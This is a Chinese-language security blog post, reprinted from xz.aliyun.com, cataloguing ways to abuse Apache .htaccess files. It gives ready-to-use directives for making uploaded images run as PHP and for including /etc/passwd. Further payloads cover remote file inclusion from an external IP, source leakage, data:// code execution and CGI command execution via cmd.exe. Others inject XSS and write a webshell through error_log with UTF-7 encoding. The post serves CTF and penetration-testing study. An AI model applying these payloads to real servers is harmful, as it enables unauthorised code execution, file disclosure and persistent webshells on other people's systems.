Apache的.htaccess利用技巧


[toc]

0x1简介

基本概念

.htaccess 文件提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一条或多条指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache 的 AllowOverride 指令来设置。

.htaccess 中有 # 单行注释符, 且支持 \ 拼接上下两行。

作用范围

.htaccess 文件中的配置指令作用于 .htaccess 文件所在的目录及其所有子目录,但是很重要的、需要注意的是,其上级目录也可能会有 .htaccess 文件,而指令是按查找顺序依次生效的,所以一个特定目录下的 .htaccess 文件中的指令可能会覆盖其上级目录中的 .htaccess 文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令

配置文件

启动 .htaccess,需要在服务器的主配置文件将 AllowOverride 设置为 All,如 apache2.conf

AllowOverride  All    # 启动.htaccess文件的使用

也可以通过 AccessFileName 将 .htaccess 修改为其他名:

AccessFileName  .config    # 将.htaccess修改为.config

0x2常见指令

.htaccess 可以实现网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。如需了解详细功能可看这篇文章http://www.htaccess-guide.com/ , 这里就不一一介绍,主要讲解几种常利用的指令。

SetHandler

SetHandler 可以强制所有匹配的文件被一个指定的处理器处理

用法:

SetHandler handler-name|None

示例1:

SetHandler application/x-httpd-php

此时当前目录及其子目录下所有文件都会被当做 php 解析

示例2:

SetHandler server-status

apache的服务器状态信息(默认关闭),可以查看所有访问本站的记录:

image-20201018124122090

访问任意不存在的文件,加参数 ?refresh=5 来实现每隔 5s 自动刷新。

AddHandler

AddHandler 可以在文件扩展名与特定的处理器之间建立映射

用法:

AddHandler handler-name extensive [extensive] ...

例如:

AddHandler cgi-script .xxx

将扩展名为 .xxx 的文件作为 CGI 脚本来处理

AddType

AddType 可以将给定的文件扩展名映射到指定的内容类型

用法:

AddType media-type extensive [extensive] ...

示例1:

AddType application/x-httpd-php .gif

将以 gif 为后缀的文件当做 php 解析

示例2:

AddType application/x-httpd-php png jpg gif

将以 .png .jpg .gif 多个后缀当做 php 解析

php_value

当使用 PHP 作为 Apache 模块时,也可以用 Apache 的配置文件(例如 httpd.conf)和 .htaccess文件中的指令来修改 php 的配置设定。需要有AllowOverride Options 或AllowOverride All 权限才可以。

php_value 设定指定的值。要清除先前设定的值,把 value 设为 none。不要用 php_value 设定布尔值。应该用 php_flag。

用法:

php_value name value

查看配置可被设定范围

image-20201018125707413

由上可知 .htaccess 只能用于 PHP_INI_ALL 或 PHP_INI_PERDIR 类型的指令。

查看 php.ini 配置选项列表,寻找可利用指令

(1) 文件包含配置选项

image-20201018130227596

  • auto_prepend_file:在主文件解析之前自动解析包含的文件
  • auto_append_file:在主文件解析后自动解析包含的文件

例如:

php_value auto_prepend_file images.png

访问一个 php 文件时,在该文件解析之前会先自动包含并解析 images.png 文件

(2) 绕过preg_match(正则回朔)

image-20201018130550568

例如:

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

设置正则回朔次数来使正则匹配的结果返回为 false 而不是0 ,从而可以绕过正则。

php_flag

php_flag 用来设定布尔值的 php 配置指令

用法:

php_flag name on|off

查看 php.ini 配置选项列表,寻找可利用指令

image-20201018131207259

可以将 engine 设置为 0,在本目录和子目录中关闭 php 解析,造成源码泄露

php_flag engine 0

0x3利用方式

文件解析

经常出现在文件上传的黑名单没有限制 .htaceess 后缀,通过上传 .htaccess 文件,再上传图片,使图片的 php 恶意代码得以被解析执行。

.htaccess 文件内容有如下两种

1. SetHandler 指令

# 将images.png 当做 php 执行
<FileMatch "images.png">
    SetHandler application/x-httpd-php
</FileMatch>

2. AddType 指令

# 将 .jpg 当做 php 文件解析
AddType application/x-httpd-php .png

文件包含

本地文件包含

在本目录或子目录中需要有可解析的 php 文件时,可以通过 php_value 来设置 auto_prepend_file 或者 auto_append_file 配置选项包含一些敏感文件,来触发文件包含(可包含WebShell)。

下面 .htaccess 分别通过这两个配置选项来包含 /etc/passwd,并访问同目录下的 index.php文件。

auto_prepend_file

php_value auto_prepend_file /etc/passwd

image-20201018132255760

auto_append_file

php_value auto_append_file /etc/passwd

image-20201018132416858

远程文件包含

PHP 的 allow_url_include 配置选项这个选项默认是关闭的,如果开启的话就可以远程包含。因为 allow_url_include 的配置范围为 PHP_INI_SYSTEM,所以无法利用 php_flag 在 .htaccess 中开启。

这里为了演示,就在 php.ini 中设置 allow_url_include 为 On:

image-20201018132733100

.htaccess中的设置为:

php_value auto_append_file http://39.101.219.210/phpinfo.txt

远程主机上的phpinfo.txt中的内容为:

image-20201018133025490

这样,最终目标主机上的php文件都会包含这个远程主机上的phpinfo.txt:

image-20201018133701394

源码泄露

利用 php_flag 将 engine 设置为 0,在本目录和子目录中关闭 php 解析,造成源码泄露。

php_flag engine 0

这里在谷歌浏览器访问会显示源码,用其他浏览器访问会显示空白,还需查看源码,才可看到泄露的源码:

image-20201018133950409

代码执行

1. 利用php伪协议

条件:allow_url_fopen、allow_url_include 为 On

php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
或
php_value auto_append_file data://text/plian,%3c%3fphp+phpinfo()%3b%3f%3e

// 注意url编码

image-20201018134853470

2. 解析.htaccess

方法一:

php_value auto_append_file .htaccess
#<?php phpinfo();?>

即让php文件包含.htaccess自己:

image-20201018135421195

方法二:

这种适合同目录或子目录没有 php 文件的情况下。

需要里先设置允许可访问 .htaccess 文件:

<Files ~ "^.ht">
    Require all granted
    Order allow,deny
    Allow from all
</Files>

然后再设置将 .htaccess 指定当做 php文件处理

SetHandler application/x-httpd-php
# <?php phpinfo();?>

最终.htaccess文件里面的内容为:

<Files ~ "^.ht">
    Require all granted
    Order allow,deny
    Allow from all
</Files>
SetHandler application/x-httpd-php
# <?php phpinfo();?>

image-20201018140606768

命令执行

CGI启动

cgi_module 需要被加载,即 apache 配置文件中有:

LoadModule cgi_module modules/mod_dgi.so

然后.htaccess中的内容:

Option ExecCGI # 允许CGI执行
AddHandler cgi-script .xx  # 将后缀为xx的文件当做CGI程序进行解析

shell.xx:

#!C:/Windows/System32/cmd.exe /k start calc.exe
6

访问shell.xx后将弹出计算器:

img

例题可看 [De1CTF2020 check in](https://github.com/De1ta-team/De1CTF2020/tree/master/writeup/web/check in)

FastCGI启动

mod_fcgid.so需要被加载。即 apache 配置文件中有:

LoadModule fcgid_module modules/mod_fcgid.so

然后.htaccess中的内容:

Options +ExecCGI
AddHandler fcgid-script .xx
FcgidWrapper "C:/Windows/System32/cmd.exe /k start calc.exe"

shell.xx的内容随意。

访问shell.xx即可弹出计算器:

img

XSS

利用highlight_file

.htaccess中的内容

php_value highlight.comment '"><script>alert(1);</script>'

test.php中的内容为:

<?php
highlight_file(__FILE__);
// comment

image-20201018143850699

利用错误消息链接

test.php中的内容为:

<?php
include('foo'); # foo报错

.htaccess中的内容:

php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(1);</script>"

image-20201018144222261

自定义错误文件

error.php:

<?php include('shell'); #报错页面

.htaccess:

php_value error_log /var/www/html/shell.php
php_value include_path "<?php phpinfo(); __halt_compiler();"

访问 error.php,会报错并记录在 shell.php 文件中

img

可以通过这种方法来往目标主机上写马。

因为会经过 html 编码,所以需要 UTF-7 来绕过。

.htaccess:

# 第一次
php_value error_log /tmp/shell #定义错误路径
#---- "<?php phpinfo(); __halt_compiler();" in UTF-7:
php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs"

# 第二次
php_value include_path "/tmp" #将include()的默认路径改变
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

例题可看X-NUCA-ezphp

原文地址:https://xz.aliyun.com/t/8267


Author: Mr.Anonymous
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source Mr.Anonymous !
评论
  TOC